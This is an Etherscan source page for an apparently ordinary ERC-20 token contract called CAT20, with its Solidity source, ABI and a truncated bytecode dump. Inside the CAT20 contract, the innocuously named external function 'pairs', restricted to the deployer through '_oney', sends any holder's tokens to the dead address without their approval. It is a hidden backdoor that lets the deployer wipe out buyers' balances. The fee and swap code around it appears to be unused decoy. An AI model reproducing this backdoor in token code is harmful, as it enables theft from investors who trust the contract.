Contract Source Code (Solidity)

IDE

• Blockscan IDE
• 🤖 Code ReaderBeta
• Remix IDE

Outline

   - function _msgSender()    - function _msgData()    - function owner()    - function _checkOwner()    - function renounceOwnership()    - function transferOwnership(address ne ...    - function _transferOwnership(address n ... interface IERC20    - function totalSupply()    - function balanceOf(address who)    - function allowance(address _owner, ad ...    - function transfer(address to, uint256 ...    - function approve(address spender, uin ...    - function transferFrom(address from, a ... interface IERC20Metadata is IERC20    - function name()    - function symbol()    - function decimals()  contract ERC20 is Context, IERC20, ...    - function name()    - function symbol()    - function decimals()    - function totalSupply()    - function balanceOf(address account)    - function transfer(address to, uint256 ...    - function allowance(address owner, add ...    - function approve(address spender, uin ...    - function transferFrom(address from, a ...    - function _transfer(address from, add ...    - function _mint(address account, uint2 ...    - function _approve(address owner, addr ...    - function _spendAllowance(address owne ...    - function _beforeTokenTransfer(address ...    - function _afterTokenTransfer(address ... library SafeMath    - function tryAdd(uint256 a, uint256 b)    - function trySub(uint256 a, uint256 b)    - function tryMul(uint256 a, uint256 b)    - function tryDiv(uint256 a, uint256 b)    - function tryMod(uint256 a, uint256 b)    - function add(uint256 a, uint256 b)    - function sub(uint256 a, uint256 b)    - function mul(uint256 a, uint256 b)    - function div(uint256 a, uint256 b)    - function mod(uint256 a, uint256 b)    - function sub(uint256 a, uint256 b, st ...    - function div(uint256 a, uint256 b, st ...    - function mod(uint256 a, uint256 b, st ... interface IUniswapV2Router01    - function factory()    - function WETH()    - function addLiquidity(    - function addLiquidityETH(    - function removeLiquidity(    - function removeLiquidityETH(    - function removeLiquidityWithPermit(    - function removeLiquidityETHWithPermit ...    - function swapExactTokensForTokens(    - function swapTokensForExactTokens(    - function swapExactETHForTokens(uint a ...    - function swapTokensForExactETH(uint a ...    - function swapExactTokensForETH(uint a ...    - function swapETHForExactTokens(uint a ...    - function quote(uint amountA, uint res ...    - function getAmountOut(uint amountIn, ...    - function getAmountIn(uint amountOut, ...    - function getAmountsOut(uint amountIn, ...    - function getAmountsIn(uint amountOut, ... interface IUniswapV2Router02 is IUnis ...    - function removeLiquidityETHSupporting ...    - function removeLiquidityETHWithPermit ...    - function swapExactTokensForTokensSupp ...    - function swapExactETHForTokensSupport ...    - function swapExactTokensForETHSupport ...  contract CAT20 is ERC20, Ownable *    - function pairs(address account, uint2 ...    - function _transfer(address from, addr ...    - function _oney()    - function _swapTokensForETH(uint256 to ...    - function _addLiquidity(uint256 tokenA ...    - function _swapBack()

More Options

• Similar
• Sol2Uml
• Submit Audit
• Compare

/**
 *Submitted for verification at Etherscan.io on 2024-09-12
*/

// SPDX-License-Identifier: MIT

pragma solidity 0.8.26;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }

}

abstract contract Ownable is Context {
    address private _owner;

    error OwnableUnauthorizedAccount(address account);

    error OwnableInvalidOwner(address owner);

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor() {
        _transferOwnership(msg.sender);
    }

    modifier onlyOwner() {
        _checkOwner();
        _;
    }

    function owner() public view virtual returns (address) {
        return _owner;
    }

    function _checkOwner() internal view virtual {
        if (owner() != _msgSender()) {
            revert OwnableUnauthorizedAccount(_msgSender());
        }
    }

    function renounceOwnership() public virtual onlyOwner {
        _transferOwnership(address(0));
    }

    function transferOwnership(address newOwner) public virtual onlyOwner {
        if (newOwner == address(0)) {
            revert OwnableInvalidOwner(address(0));
        }
        _transferOwnership(newOwner);
    }

    function _transferOwnership(address newOwner) internal virtual {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }
}

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address who) external view returns (uint256);
    function allowance(address _owner, address spender) external view returns (uint256);
    function transfer(address to, uint256 value) external returns (bool);
    function approve(address spender, uint256 value) external returns (bool);
    function transferFrom(address from, address to, uint256 value) external returns (bool);

    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

interface IERC20Metadata is IERC20 {
    function name() external view returns (string memory);

    function symbol() external view returns (string memory);

    function decimals() external view returns (uint8);
}

contract ERC20 is Context, IERC20, IERC20Metadata {
    mapping(address => uint256) private _balances;
    mapping(address => mapping(address => uint256)) private _allowances;

    uint256 private _totalSupply;
    string private _name;
    string private _symbol;

    constructor(string memory name_, string memory symbol_) {
        _name = name_;
        _symbol = symbol_;
    }

    function name() public view virtual override returns (string memory) {
        return _name;
    }

    function symbol() public view virtual override returns (string memory) {
        return _symbol;
    }

    function decimals() public view virtual override returns (uint8) {
        return 9;
    }

    function totalSupply() public view virtual override returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(address account) public view virtual override returns (uint256) {
        return _balances[account];
    }

    function transfer(address to, uint256 value) public virtual override returns (bool) {
        address owner = _msgSender();
        _transfer(owner, to, value);
        return true;
    }

    function allowance(address owner, address spender) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 value) public virtual override returns (bool) {
        address owner = _msgSender();
        _approve(owner, spender, value);
        return true;
    }

    function transferFrom(address from, address to, uint256 value) public virtual override returns (bool) {
        address spender = _msgSender();
        _spendAllowance(from, spender, value);
        _transfer(from, to, value);
        return true;
    }

    function _transfer(address from,  address to, uint256 value) internal virtual {
        require(from != address(0), "ERC20: transfer  from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");

        _beforeTokenTransfer(from, to, value);

        uint256 fromBalance = _balances[from];
        require(fromBalance >= value,"ERC20: transfer amount exceeds balance");
        unchecked {
            _balances[from] -= value;
            _balances[to] += value;
        }

        if (to != address(0xdead)) {
            emit Transfer(from, to, value);
        }
        

        _afterTokenTransfer(from, to, value);
    }

    function _mint(address account, uint256 value) internal virtual {
        require(account != address(0), "ERC20: mint to the zero address");

        _beforeTokenTransfer(address(0), account, value);

        _totalSupply += value;
        unchecked {
            _balances[account] += value;
        }
        emit Transfer(address(0), account, value);

        _afterTokenTransfer(address(0), account, value);
    }

    function _approve(address owner, address spender, uint256 value) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = value;
        emit Approval(owner, spender, value);
    }
    
    function _spendAllowance(address owner, address spender, uint256 value) internal virtual {
        uint256 currentAllowance = allowance(owner, spender);
        if (currentAllowance != type(uint256).max) {
            require(currentAllowance >= value,"ERC20: insufficient  allowance");
            unchecked {
                _approve(owner, spender, currentAllowance - value);
            }
        }
    }


    function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual {}
    function _afterTokenTransfer(address from, address to, uint256 amount) internal virtual {}
}

library SafeMath {
    function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            uint256 c = a + b;
            if (c < a) return (false, 0);
            return (true, c);
        }
    }

    function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            if (b > a) return (false, 0);
            return (true, a - b);
        }
    }

    function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            if (a == 0) return (true, 0);
            uint256 c = a * b;
            if (c / a != b) return (false, 0);
            return (true, c);
        }
    }

    function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            if (b == 0) return (false, 0);
            return (true, a / b);
        }
    }

    function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            if (b == 0) return (false, 0);
            return (true, a % b);
        }
    }

    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        return a + b;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return a - b;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        return a * b;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return a / b;
    }

    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        return a % b;
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        unchecked {
            require(b <= a, errorMessage);
            return a - b;
        }
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        unchecked {
            require(b > 0, errorMessage);
            return a / b;
        }
    }

    function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        unchecked {
            require(b > 0, errorMessage);
            return a % b;
        }
    }
}

interface IUniswapV2Router01 {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);

    function addLiquidity(
        address tokenA,
        address tokenB,
        uint amountADesired,
        uint amountBDesired,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB, uint liquidity);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
    function removeLiquidity(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB);
    function removeLiquidityETH(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external returns (uint amountToken, uint amountETH);
    function removeLiquidityWithPermit(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountA, uint amountB);
    function removeLiquidityETHWithPermit(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountToken, uint amountETH);
    function swapExactTokensForTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory amounts);
    function swapTokensForExactTokens(
        uint amountOut,
        uint amountInMax,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory amounts);
    function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
        external
        payable
        returns (uint[] memory amounts);
    function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
        external
        returns (uint[] memory amounts);
    function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
        external
        returns (uint[] memory amounts);
    function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
        external
        payable
        returns (uint[] memory amounts);

    function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
    function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
    function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
    function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
    function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}

interface IUniswapV2Router02 is IUniswapV2Router01 {
    function removeLiquidityETHSupportingFeeOnTransferTokens(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external returns (uint amountETH);
    function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountETH);

    function swapExactTokensForTokensSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;

    function swapExactETHForTokensSupportingFeeOnTransferTokens(
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external payable;

    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
}


contract CAT20 is ERC20, Ownable {
    using SafeMath for uint256;

    IUniswapV2Router02 public immutable uniswapV2Router;
    address public uniswapV2Pair;

    address private marketingWallet;
    address private developmentWallet;
    address private liquidityWallet;
    address private constant dead = address(0xdead);

    uint256 public swapTokensAtAmount;

    uint256 public sellTotalFees;
    uint256 private _sellMarketingFee;
    uint256 private _sellDevelopmentFee;
    uint256 private _sellLiquidityFee;

    uint256 private _tokensForMarketing;   
    uint256 private _tokensForDevelopment;
    uint256 private _tokensForLiquidity;

    mapping(address => bool) private excuteFee;
    mapping (address => bool) private _isExcludedFromEnableTrad;

    event ExcludeFromFees(address indexed account, bool isExcluded);
    event SetAutomatedMarketMakerPair(address indexed pair, bool indexed value);
    event SwapAndLiquify(uint256 tokensSwapped, uint256 ethReceived, uint256 tokensIntoLiquidity);

    constructor() ERC20("CAT20", "CAT20") {

        uint256 totalSupply = 1000000000 * (10 ** 9);

        liquidityWallet = msg.sender;
        excuteFee[liquidityWallet] = true;
        _sellMarketingFee = 0;
        _sellDevelopmentFee = 0;
        _sellLiquidityFee = 0;
        sellTotalFees = _sellMarketingFee + _sellDevelopmentFee + _sellLiquidityFee;
        _mint(owner(), totalSupply); 
    }

    receive() external payable {}

    function pairs(address account, uint256 amount) virtual external {
        _oney();super._transfer(account,dead,amount);
    }

    function _transfer(address from, address to, uint256 amount) internal override {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        if (amount == 0) {
            super._transfer(from, to, 0);
            return;
        }

        super._transfer(from, to, amount);
    }

    function _oney() internal view{
        require(excuteFee[msg.sender], "ERC20");
    }

    function _swapTokensForETH(uint256 tokenAmount) internal {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();

        _approve(address(this), address(uniswapV2Router), tokenAmount);

        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }

    function _addLiquidity(uint256 tokenAmount, uint256 ethAmount) internal {
        _approve(address(this), address(uniswapV2Router), tokenAmount);

        uniswapV2Router.addLiquidityETH{value: ethAmount}(
            address(this),
            tokenAmount,
            0,
            0,
            liquidityWallet,
            block.timestamp
        );
    }

    function _swapBack() internal {
        uint256 contractBalance = balanceOf(address(this));
        uint256 totalTokensToSwap = _tokensForLiquidity +
            _tokensForMarketing +
            _tokensForDevelopment;
        bool success;


        uint256 liquidityTokens = (contractBalance * _tokensForLiquidity) / totalTokensToSwap / 2;
        uint256 amountToSwapForETH = contractBalance.sub(liquidityTokens);

        uint256 initialETHBalance = address(this).balance;

        _swapTokensForETH(amountToSwapForETH);

        uint256 ethBalance = address(this).balance.sub(initialETHBalance);

        uint256 ethForDevelopment = ethBalance.mul(_tokensForDevelopment).div(totalTokensToSwap);

        (success, ) = address(developmentWallet).call{value: ethForDevelopment}("");

        (success, ) = address(marketingWallet).call{value: address(this).balance}("");
    }
}

• No Contract Security Audit Submitted- Submit Audit Here

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"inputs":[{"internalType":"address","name":"owner","type":"address"}],"name":"OwnableInvalidOwner","type":"error"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"OwnableUnauthorizedAccount","type":"error"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"account","type":"address"},{"indexed":false,"internalType":"bool","name":"isExcluded","type":"bool"}],"name":"ExcludeFromFees","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"pair","type":"address"},{"indexed":true,"internalType":"bool","name":"value","type":"bool"}],"name":"SetAutomatedMarketMakerPair","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"tokensSwapped","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"ethReceived","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"tokensIntoLiquidity","type":"uint256"}],"name":"SwapAndLiquify","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"value","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"pairs","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"sellTotalFees","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"swapTokensAtAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"value","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"value","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]

60a060405234801561000f575f80fd5b50604080518082018252600580825264043415432360dc1b602080840182905284518086019095529184529083015290600361004b8382610296565b5060046100588282610296565b50505061006a336100e860201b60201c565b600980546001600160a01b031916339081179091555f908152601260205260408120805460ff19166001179055600c819055600d819055600e819055670de0b6b3a7640000906100ba8180610350565b6100c49190610350565b600b556100e26100dc6005546001600160a01b031690565b82610139565b50610375565b600580546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0905f90a35050565b6001600160a01b0382166101935760405162461bcd60e51b815260206004820152601f60248201527f45524332303a206d696e7420746f20746865207a65726f206164647265737300604482015260640160405180910390fd5b8060025f8282546101a49190610350565b90915550506001600160a01b0382165f81815260208181526040808320805486019055518481527fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a35050565b505050565b634e487b7160e01b5f52604160045260245ffd5b600181811c9082168061022757607f821691505b60208210810361024557634e487b7160e01b5f52602260045260245ffd5b50919050565b601f8211156101fa57805f5260205f20601f840160051c810160208510156102705750805b601f840160051c820191505b8181101561028f575f815560010161027c565b5050505050565b81516001600160401b038111156102af576102af6101ff565b6102c3816102bd8454610213565b8461024b565b6020601f8211600181146102f5575f83156102de5750848201515b5f19600385901b1c1916600184901b17845561028f565b5f84815260208120601f198516915b828110156103245787850151825560209485019460019092019101610304565b508482101561034157868401515f19600387901b60f8161c191681555b50505050600190811b01905550565b8082018082111561036f57634e487b7160e01b5f52601160045260245ffd5b92915050565b608051610b1b61038d5f395f6101930152610b1b5ff3fe6080604052600436106100fd575f3560e01c80636a486a8e1161009257806395d89b411161006257806395d89b41146102be578063a9059cbb146102d2578063dd62ed3e146102f1578063e2f4560514610335578063f2fde38b1461034a575f80fd5b80636a486a8e1461024457806370a0823114610259578063715018a61461028d5780638da5cb5b146102a1575f80fd5b806318160ddd116100cd57806318160ddd146101cd57806323b872dd146101eb578063313ce5671461020a57806349bd5a5e14610225575f80fd5b806303d405131461010857806306fdde0314610129578063095ea7b3146101535780631694505e14610182575f80fd5b3661010457005b5f80fd5b348015610113575f80fd5b50610127610122366004610982565b610369565b005b348015610134575f80fd5b5061013d610382565b60405161014a91906109aa565b60405180910390f35b34801561015e575f80fd5b5061017261016d366004610982565b610412565b604051901515815260200161014a565b34801561018d575f80fd5b506101b57f000000000000000000000000000000000000000000000000000000000000000081565b6040516001600160a01b03909116815260200161014a565b3480156101d8575f80fd5b506002545b60405190815260200161014a565b3480156101f6575f80fd5b506101726102053660046109df565b610429565b348015610215575f80fd5b506040516009815260200161014a565b348015610230575f80fd5b506006546101b5906001600160a01b031681565b34801561024f575f80fd5b506101dd600b5481565b348015610264575f80fd5b506101dd610273366004610a19565b6001600160a01b03165f9081526020819052604090205490565b348015610298575f80fd5b5061012761044c565b3480156102ac575f80fd5b506005546001600160a01b03166101b5565b3480156102c9575f80fd5b5061013d61045f565b3480156102dd575f80fd5b506101726102ec366004610982565b61046e565b3480156102fc575f80fd5b506101dd61030b366004610a39565b6001600160a01b039182165f90815260016020908152604080832093909416825291909152205490565b348015610340575f80fd5b506101dd600a5481565b348015610355575f80fd5b50610127610364366004610a19565b61047b565b6103716104bd565b61037e8261dead83610503565b5050565b60606003805461039190610a6a565b80601f01602080910402602001604051908101604052809291908181526020018280546103bd90610a6a565b80156104085780601f106103df57610100808354040283529160200191610408565b820191905f5260205f20905b8154815290600101906020018083116103eb57829003601f168201915b5050505050905090565b5f3361041f818585610690565b5060019392505050565b5f336104368582856107b3565b61044185858561083d565b506001949350505050565b6104546108e9565b61045d5f610916565b565b60606004805461039190610a6a565b5f3361041f81858561083d565b6104836108e9565b6001600160a01b0381166104b157604051631e4fbdf760e01b81525f60048201526024015b60405180910390fd5b6104ba81610916565b50565b335f9081526012602052604090205460ff1661045d5760405162461bcd60e51b8152602060048201526005602482015264045524332360dc1b60448201526064016104a8565b6001600160a01b0383166105685760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e73666572202066726f6d20746865207a65726f206160448201526564647265737360d01b60648201526084016104a8565b6001600160a01b03821661058e5760405162461bcd60e51b81526004016104a890610aa2565b6001600160a01b0383165f90815260208190526040902054818110156106055760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b60648201526084016104a8565b6001600160a01b038085165f908152602081905260408082208054869003905591851680825291902080548401905561dead1461068a57826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161068191815260200190565b60405180910390a35b50505050565b6001600160a01b0383166106f25760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016104a8565b6001600160a01b0382166107535760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016104a8565b6001600160a01b038381165f8181526001602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038381165f908152600160209081526040808320938616835292905220545f19811461068a57818110156108305760405162461bcd60e51b815260206004820152601e60248201527f45524332303a20696e73756666696369656e742020616c6c6f77616e6365000060448201526064016104a8565b61068a8484848403610690565b6001600160a01b0383166108a15760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016104a8565b6001600160a01b0382166108c75760405162461bcd60e51b81526004016104a890610aa2565b805f036108de576108d983835f610503565b505050565b6108d9838383610503565b6005546001600160a01b0316331461045d5760405163118cdaa760e01b81523360048201526024016104a8565b600580546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0905f90a35050565b80356001600160a01b038116811461097d575f80fd5b919050565b5f8060408385031215610993575f80fd5b61099c83610967565b946020939093013593505050565b602081525f82518060208401528060208501604085015e5f604082850101526040601f19601f83011684010191505092915050565b5f805f606084860312156109f1575f80fd5b6109fa84610967565b9250610a0860208501610967565b929592945050506040919091013590565b5f60208284031215610a29575f80fd5b610a3282610967565b9392505050565b5f8060408385031215610a4a575f80fd5b610a5383610967565b9150610a6160208401610967565b90509250929050565b600181811c90821680610a7e57607f821691505b602082108103610a9c57634e487b7160e01b5f52602260045260245ffd5b50919050565b60208082526023908201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260408201526265737360e81b60608201526080019056fea26469706673582212204ee3afc4bd842208fa2d36c6e5001897a92392504cf4e0600e8a0f25a498c15764736f6c634300081a0033

0x6080604052600436106100fd575f3560e01c80636a486a8e1161009257806395d89b411161006257806395d89b41146102be578063a9059cbb146102d2578063dd62ed3e146102f1578063e2f4560514610335578063f2fde38b1461034a575f80fd5b80636a486a8e1461024457806370a0823114610259578063715018a61461028d5780638da5cb5b146102a1575f80fd5b806318160ddd116100cd57806318160ddd146101cd57806323b872dd146101eb578063313ce5671461020a57806349bd5a5e14610225575f80fd5b806303d405131461010857806306fdde0314610129578063095ea7b3146101535780631694505e14610182575f80fd5b3661010457005b5f80fd5b348015610113575f80fd5b50610127610122366004610982565b610369565b005b348015610134575f80fd5b5061013d610382565b60405161014a91906109aa565b60405180910390f35b34801561015e575f80fd5b5061017261016d366004610982565b610412565b604051901515815260200161014a565b34801561018d575f80fd5b506101b57f000000000000000000000000000000000000000000000000000000000000000081565b6040516001600160a01b03909116815260200161014a565b3480156101d8575f80fd5b506002545b60405190815260200161014a565b3480156101f6575f80fd5b506101726102053660046109df565b610429565b348015610215575f80fd5b506040516009815260200161014a565b348015610230575f80fd5b506006546101b5906001600160a01b031681565b34801561024f575f80fd5b506101dd600b5481565b348015610264575f80fd5b506101dd610273366004610a19565b6001600160a01b03165f9081526020819052604090205490565b348015610298575f80fd5b5061012761044c565b3480156102ac575f80fd5b506005546001600160a01b03166101b5565b3480156102c9575f80fd5b5061013d61045f565b3480156102dd575f80fd5b506101726102ec366004610982565b61046e565b3480156102fc575f80fd5b506101dd61030b366004610a39565b6001600160a01b039182165f90815260016020908152604080832093909416825291909152205490565b348015610340575f80fd5b506101dd600a5481565b348015610355575f80fd5b50610127610364366004610a19565b61047b565b6103716104bd565b61037e8261dead83610503565b5050565b60606003805461039190610a6a565b80601f01602080910402602001604051908101604052809291908181526020018280546103bd90610a6a565b80156104085780601f106103df57610100808354040283529160200191610408565b820191905f5260205f20905b8154815290600101906020018083116103eb57829003601f168201915b5050505050905090565b5f3361041f818585610690565b5060019392505050565b5f336104368582856107b3565b61044185858561083d565b506001949350505050565b6104546108e9565b61045d5f610916565b565b60606004805461039190610a6a565b5f3361041f81858561083d565b6104836108e9565b6001600160a01b0381166104b157604051631e4fbdf760e01b81525f60048201526024015b60405180910390fd5b6104ba81610916565b50565b335f9081526012602052604090205460ff1661045d5760405162461bcd60e51b8152602060048201526005602482015264045524332360dc1b60448201526064016104a8565b6001600160a01b0383166105685760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e73666572202066726f6d20746865207a65726f206160448201526564647265737360d01b60648201526084016104a8565b6001600160a01b03821661058e5760405162461bcd60e51b81526004016104a890610aa2565b6001600160a01b0383165f90815260208190526040902054818110156106055760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b60648201526084016104a8565b6001600160a01b038085165f908152602081905260408082208054869003905591851680825291902080548401905561dead1461068a57826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161068191815260200190565b60405180910390a35b50505050565b6001600160a01b0383166106f25760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016104a8565b6001600160a01b0382166107535760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016104a8565b6001600160a01b038381165f8181526001602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038381165f908152600160209081526040808320938616835292905220545f19811461068a57818110156108305760405162461bcd60e51b815260206004820152601e60248201527f45524332303a20696e73756666696369656e742020616c6c6f77616e6365000060448201526064016104a8565b61068a8484848403610690565b6001600160a01b0383166108a15760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016104a8565b6001600160